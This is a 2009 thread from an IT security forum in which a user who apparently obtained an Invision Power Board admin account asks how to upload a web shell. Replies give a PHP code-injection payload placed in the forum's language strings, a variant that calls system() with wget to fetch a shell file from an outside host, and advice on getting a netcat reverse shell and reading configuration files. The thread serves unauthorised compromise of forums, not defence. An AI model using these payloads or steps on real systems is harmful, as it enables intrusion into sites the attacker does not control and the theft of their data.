Waraxe IT Security Portal
Login or Register
September 8, 2024
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 80
Members: 0
Total: 80
Full disclosure
[SYSS-2024-030]: C-MOR Video Surveillance - OS Command Injection (CWE-78)
[SYSS-2024-029]: C-MOR Video Surveillance - Dependency on Vulnerable Third-Party Component (CWE-1395)
[SYSS-2024-028]: C-MOR Video Surveillance - Cleartext Storage of Sensitive Information (CWE-312)
[SYSS-2024-027]: C-MOR Video Surveillance - Improper Privilege Management (CWE-269)
[SYSS-2024-026]: C-MOR Video Surveillance - Unrestricted Upload of File with Dangerous Type (CWE-434)
[SYSS-2024-025]: C-MOR Video Surveillance - Relative Path Traversal (CWE-23)
Backdoor.Win32.Symmi.qua / Remote Stack Buffer Overflow (SEH)
HackTool.Win32.Freezer.br (WinSpy) / Insecure CredentialStorage
Backdoor.Win32.Optix.02.b / Weak Hardcoded Credentials
Backdoor.Win32.JustJoke.2 1 (BackDoor Pro) / Unauthenticated Remote Command Execution
Backdoor.Win32.PoisonIvy. ymw / Insecure Credential Storage
[SYSS-2024-024]: C-MOR Video Surveillance - Improper Access Control (CWE-284)
[SYSS-2024-023]: C-MOR Video Surveillance - SQL Injection(CWE-89)
[SYSS-2024-022]: C-MOR Video Surveillance - Cross-Site Request Forgery (CWE-352)
[SYSS-2024-021]: C-MOR Video Surveillance - Persistent Cross-Site Scripting (CWE-79)
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Invision Power Board -> Uploading a shell with Administrator acc? Goto page 1, 2, 3Next
Post new topicReply to topic View previous topic :: View next topic
Uploading a shell with Administrator acc?
PostPosted: Mon Jun 15, 2009 1:06 am Reply with quote
ThinSmoke
Advanced user
Advanced user
Joined: Nov 15, 2008
Posts: 55




Heya,
recently i got my hands on an administrator account of a 2.3.6 ipb, now my problem is iam not root admin, i cant think of any method which could help me to upload a shell :/
I tried searching, everything failed Sad
Any suggestions please?

Thanks.
View user's profile Send private message
PostPosted: Tue Jun 16, 2009 2:26 am Reply with quote
ThinSmoke
Advanced user
Advanced user
Joined: Nov 15, 2008
Posts: 55




No1? Sad
View user's profile Send private message
PostPosted: Wed Jun 17, 2009 2:31 pm Reply with quote
timor
Active user
Active user
Joined: Jun 07, 2009
Posts: 30




It is not possible for me, I have tried with 5+ boards with root admin. The idea is you can upload a .php shell in the emotion manager. BUT FOR ME IT IS ALWAYS SAYING THAT YOU CAN ONLY UPLOAD .JPG .GIF ETC!!!
View user's profile Send private message
PostPosted: Wed Jun 17, 2009 5:43 pm Reply with quote
JasonB
Regular user
Regular user
Joined: Apr 05, 2009
Posts: 23




I assume you've tried the basics (putting a shell as shell.php.jpg)

Have no experience with IPB.
View user's profile Send private message
PostPosted: Wed Jun 17, 2009 11:51 pm Reply with quote
ThinSmoke
Advanced user
Advanced user
Joined: Nov 15, 2008
Posts: 55




if you upload a x.php.jpg wouldnt it be parsed as a jpg? Ö.ö
View user's profile Send private message
PostPosted: Thu Jun 18, 2009 12:59 pm Reply with quote
waraxe
Site admin
Site admin
Joined: May 11, 2004
Posts: 2407
Location: Estonia, Tartu




IPB current version and older versions are allowing admin to edit language strings. This is accessible to all admins, included non-root ones.
Next, almost year ago there was DarkFig's advisory:

http://mgsdl.free.fr/?0:18

Code:

VI - CODE EXECUTION

The ACP allows admins to manage languages, they can
choose the default language, import a new one, and edit
them. Let's take a look in the file "sources/action_admin/
languages.php":
...


This trick is working even against current IPB version!
Just go to admin-->Look and Feel-->Manage Languages

Then choose section, for example: public_help

Edit "help_txt", which originally is "Choose a topic from the list, or search for a topic"

Add some php code, so it becomes as:

Code:

Choose a topic from the list, or search for a topic

${${phpinfo()}}


Save changes. Then go to help section:

http://localhost/ipb.3.0.0.rc2/index.php?app=core&module=help

... and php code will be executed


Smile
View user's profile Send private message Send e-mail Visit poster's website
PostPosted: Sat Jun 20, 2009 1:51 am Reply with quote
ThinSmoke
Advanced user
Advanced user
Joined: Nov 15, 2008
Posts: 55




Thx waraxe but didnt work out..
No permissions to write there Sad
Could not write back to D:\Hosting\4204178\html\forums/cache/lang_cache/en/lang_help.php
View user's profile Send private message
PostPosted: Thu Jul 23, 2009 8:09 am Reply with quote
xalupeao
Regular user
Regular user
Joined: May 23, 2009
Posts: 17
Location: Santiago, Chile




create a new lenguaje based ... =)
----


what code for injected shell
View user's profile Send private message Visit poster's website
PostPosted: Thu Jul 23, 2009 5:43 pm Reply with quote
ThinSmoke
Advanced user
Advanced user
Joined: Nov 15, 2008
Posts: 55




Just basic php dude lol..
View user's profile Send private message
PostPosted: Fri Jul 24, 2009 3:08 am Reply with quote
xalupeao
Regular user
Regular user
Joined: May 23, 2009
Posts: 17
Location: Santiago, Chile




${${phpinfo()}}
......................

${${system(wget http://blacknite.eu/php_shells/c100.txt)}}
View user's profile Send private message Visit poster's website
PostPosted: Wed Oct 21, 2009 3:50 pm Reply with quote
nuker
Active user
Active user
Joined: Aug 16, 2009
Posts: 39




maybe its a dull question, but once you have uploaded the shell then you can have access to all the files in the forum folder like if it was FTP? how you do it?
View user's profile Send private message
PostPosted: Wed Oct 21, 2009 9:27 pm Reply with quote
RG007145
Active user
Active user
Joined: May 04, 2008
Posts: 27




No. You can read all files readable by the web server (source code), and you can upload files to directories chmodded to 777.

If upload is possible, you can also upload software and run it, which means you can execute privilige escalation exploits if applicable.

Also, if you can't upload a shell, you can put in PHP that calls the 'netcat' or 'nc' program through passthru(), system() or exec(), which can give you a netcat reverse shell (use forum search).
View user's profile Send private message
PostPosted: Thu Oct 22, 2009 10:30 am Reply with quote
nuker
Active user
Active user
Joined: Aug 16, 2009
Posts: 39




okay, so for example i can download config_global.php using the shell? i understand this tutorial to execute the php code and upload the shell, but after that whats next? where do you access the shell from?

Thank you!
View user's profile Send private message
PostPosted: Thu Oct 22, 2009 11:26 am Reply with quote
pexli
Valuable expert
Valuable expert
Joined: May 24, 2007
Posts: 665
Location: Bulgaria




nuker read some books for apache,php,mysql,UNIX servers ...etc
View user's profile Send private message
PostPosted: Thu Oct 22, 2009 11:53 am Reply with quote
nuker
Active user
Active user
Joined: Aug 16, 2009
Posts: 39




forums like this are for making things easier. Im not spending years reading books just to find something i could learn in 2 seconds if somebody kind enough tells me. Besides i dont think i can find on any book how to hack an IPB...
View user's profile Send private message
Uploading a shell with Administrator acc?
www.waraxe.us Forum Index -> Invision Power Board
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 3
Goto page 1, 2, 3Next
Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



Space Raider game for Android, free download - Space Raider gameplay video - Zone Raider mobile games
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.181 Seconds